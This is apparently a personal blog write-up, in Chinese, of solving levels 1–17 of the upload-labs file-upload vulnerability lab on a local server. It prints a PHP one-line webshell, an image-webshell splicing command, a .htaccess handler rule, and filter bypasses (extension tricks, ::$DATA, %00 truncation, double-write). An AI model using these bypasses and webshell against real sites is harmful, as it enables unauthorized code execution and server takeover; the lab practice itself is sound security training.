文件上传漏洞——upload-labs靶场安装和通关记录17关

前言:之前在DVWA靶场上了解了upload文件上传漏洞,并进行了学习,现在来安装upload-labs来打一下靶场。

搭建靶场

phpstudy集成环境。
upload-labs项目地址upload-labs,下载压缩包解压到本地phpstudy的www文件夹下,将文件夹命名为upload-labs(个人选择),也可以不改。
打开phpstudy,开启环境在浏览器中访问127.0.0.1/upload-labs就可以进入靶场。
Augenstern

开始闯关

Pass-01

第一步查看源码

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

可以看出可以传入的是.jpg/.png/,gif类型的图片。因为第一关嘛,限制比较简单,有以下几种方法。
1.禁用js
谷歌浏览器禁用js,可以百度搜索,不再多说。
火狐浏览器推荐一个插件noscript,禁用js后就可以上传php文件了。
2.burp抓包修改后缀,
先将要上传的shell.php后缀改成图片格式,比如jpg。
然后上传,抓包,修改回shell.php放包。上传成功。
3.直接传图片马

Pass-02

查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

这个是对Content-type的MIME类型进行限制。
在DVWA中尝试过了已经,
抓包,对Content-type进行修改,改为image/jpeg或者其他两种类型。不再赘述。

Pass-03黑名单验证

普通方法

查看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空
        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

这个原本不知道该怎么操作,看了大佬的博客才知道了这个是黑名单过滤,服务器把后缀为.asp .aspx .php .,jps 的文件给过滤了,要想办法绕过这些。可以上传其他任意后缀。比如说:.phtml .phps .php5 .pht,但如果上传的是.php5这种类型文件的话,如果想要被当成php执行的话,前提条件是Apache的httpd.conf有如下配置代码

AddType application/x-httpd-php .php .phtml .php5 .pht .phps

让Apache能够解析这些后缀的文件。
配置路径
D:\phpStudy\PHPTutorial\Apache\conf我的是phpstudy集成环境,所以在phpstudy目录下。找到(httpd.conf)这个文件打开
Augenstern
修改成图中的样子。
这个时候就可以将后缀改为.phtml再次上传
上传成功
Augenstern
用蚁剑连接一下,连接失败。emmm挺烦的这个,好长时间了,还卡在这里,暂时,方法没错,可是我连接本地的就是连不上,无语啦。

使用burpsuite爆破黑名单

了解到一种方法,可能比较少见,现在分享一下
不改名,直接上传php文件
j4y
开代理抓包,然后Send to intruder
j4y
进行php扩展名的爆破
在这里插入图片描述
选择字典,或者自己添加参数。
j4y
随便写几个吧,栗子而已。
然后就可以开始爆破了。
j4y
上面的是可以上传的,下面的则是不符合条件的。
所以就知道应该传入什么文件了。(可能想的是,这也没有什么啊,还不如直接上传phtml方便。继续看)
然后右键单击一个,找到Show response in browser
j4y
点击copy,然后粘贴到浏览器
在这里插入图片描述
记住关代理,暂停抓包,复制到浏览器跑一下
j4y
会发现已经上传成功了,那其他的呢,也可以都试试。
我全部上传,最后看效果。
上传完成了,可以打开upload文件查看
j4y
害,,还是连接不成功,不知道是哪里出的问题,已经困扰我好久了。太难了我。
没解决,访问直接下载phtml文件。无语啦=_=

Pass-04

这一关,传phtml文件不行了,也被加入了黑名单,所以先查看下源码,
查看源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

好多被限制的额,但是没有限制.htaccess文件。然后就可以上传这个文件。
这之前,需要进行一些改动,在apache解析那个文件中,检查mod_write模块是否开启,还有AllowOverride All
先上传一个1.htaccess文件,

AddType application/x-httpd-php .jpg

然后上传shell.jpg就可以尝试用蚁剑菜刀等工具连接了。
伤心事一笔带过。=_=

Pass-05

这个再上传htaccess文件已经不可以了,也被过滤了,所以看看源码。
j4y
莫明的想笑,我的第五关跟别人的不一样,直接基础的过滤都给省略了,(大小写绕过,点绕过,空格绕过)
这里直接综合使用:
先将php文件上传抓包,
j4y
它要过滤,那就制造给它过滤,让它先过滤空格和点,最后还剩下点,依旧能上传,尝试连接。
j4y
OK,阔以。

Pass-06

呃呃呃,我发现这个是大小写过滤,,,怎么到后面来了,
这个就是将shell.php上传抓包改后缀为Php就可以绕过了。

Pass-07

空格绕过,这个在shell.php后加个空格就OK了,
抓包改成shell.php上传。

Pass-08

点过滤,抓包,修改后缀为shell.php.,即可进行点过滤。

Pass-09

::$DATA绕过,

在php+windows的情况下:如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持"::$DATA"之前的文件名。利用windows特性,可在后缀名中加” ::$DATA”绕过

这是网上的大佬给的解释,简单明了。容易理解。
还是抓包修改
j4y
测试连接,看到连接成功了。
j4y

Pass-10

eeee,第十关好像跟第五关一样了,???
j4y
仔细对比了一下,源码都一样的,=_=,直接过了哈。

Pass-11

查看源码可以看出,这里使用了替换函数。
j4y
试一下,这里我加个点,尝试点绕过。
j4y
然后复制图像地址看一下。
j4y
再看看upload的文件夹
j4y
这里知道它是将php替换成"空格"了。
嗯,这里可以进行双写绕过……
j4y
测试连接,连接成功
j4y

Pass-12 %00截断Get

j4y
代码解析;
这个是对服务器端上传文件名的后缀做了限制,
这里没有设置黑名单,而是白名单,规定只能上传jpg/png/gif格式的图片。
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;可知上传路径命名规则使用用户get请求的save_path值拼接而成。
可以考虑%00截断,但是好像php%00截断只对php版本<5.3的适用,我的是5.4,不知道行不行,试一下吧。
抓包进行修改。
j4y
果然不行,上传出错了。
j4y
切换到5.3的版本应该就行了。

Pass-13 00截断POST

查看源码发现是基于post的save_path,做题如何判断是get还是post,抓包查看save_path在什么位置,在上面的url的位置上就是get,如下的情况就是post。
j4y
修改,因为是post方式,它与get方式不同的就是,它不会对%00自动进行解码,所以在二进制中修改。
j4y
j4y

测试连接,可以连上。
j4y

Pass-14图片马

j4y
制作图片shell

GIF98A
<?php @eval($_POST['cmd']);?>

然后改为图片格式的后缀。
上传……
j4y
然后,提示有文件包含漏洞,可以查看一下。
j4y
关于文件包含漏洞,之前学习上传图片马,然后了解了一下文件包含漏洞,具体学习的博客正在写了,完善完成后发。
这里直接利用。
构造payload

http://127.0.0.1/upload-labs/upload/include.php?file=4420200512095517.gif

j4y
访问,可以。
尝试蚁剑连接。
j4y
终于成功了,get。
注意事项:include.php必须在upload目录下,或者这么说:include.php必须和上传的文件(图片马)在同一目录下。

Pass-15

继续上传刚才的图片马(上一关上传的我已经删除了)
成功了,测试连接,也可以
j4y
这关是,用getimagesize函数判断文件类型图片马没什么影响。可以使用。

Pass-16

已久传了我百传不厌的“图片”,发现依旧管用。
j4y
查看源码:
j4y
查看后发现我已经是开着这个模块的。所以才成功了,
考点:使用php_exif模块来判断文件类型,已久可以使用图片马。

Pass-17二次渲染

这一关有所变化,j4y
这个图片马不管用了,那就再换一个。
之前记得学过将php一句话与正常图片拼接成一个图片马。在硬盘角落里找到了它。
还是再写一遍制作方法:使用windows命令中的copy

copy 1.jpg/b+shell.php/a 1000.jpg

就可以生成图片马了。
上传……
j4y
然后发现找不到我的一句话了。
j4y
按理说,我的一句话应该是在这里的,不见了。查过资料发现是进行了二次渲染。
查看源码:
j4y
上面还进行了判断content-type还有后缀等。二次渲染不知道怎么绕过。看看大佬的文章,没有随便转载和复现,感觉大佬写的很详细,下次再看直接去看原创。留个门:传送门
php一句话被写在了中间的位置,也不是随便挑的位置。有方法去写的。

到此先停下,这个二次渲染已经不会了,后面的也先不看了。看不定还浪费时间。等水平提高一点了再把这个靶场过完。

文末寄语:

有时想想,独居斗室和天涯浪迹好像是一件事情,身处寂寞和身处喧嚣其实也没什么两样,身外的整个世界都是镜子,我们必须自己认得自己。
——马良《人间卧底》

posted @ 2020-05-12 11:12  m0re  阅读(1014)  评论(1编辑  收藏  举报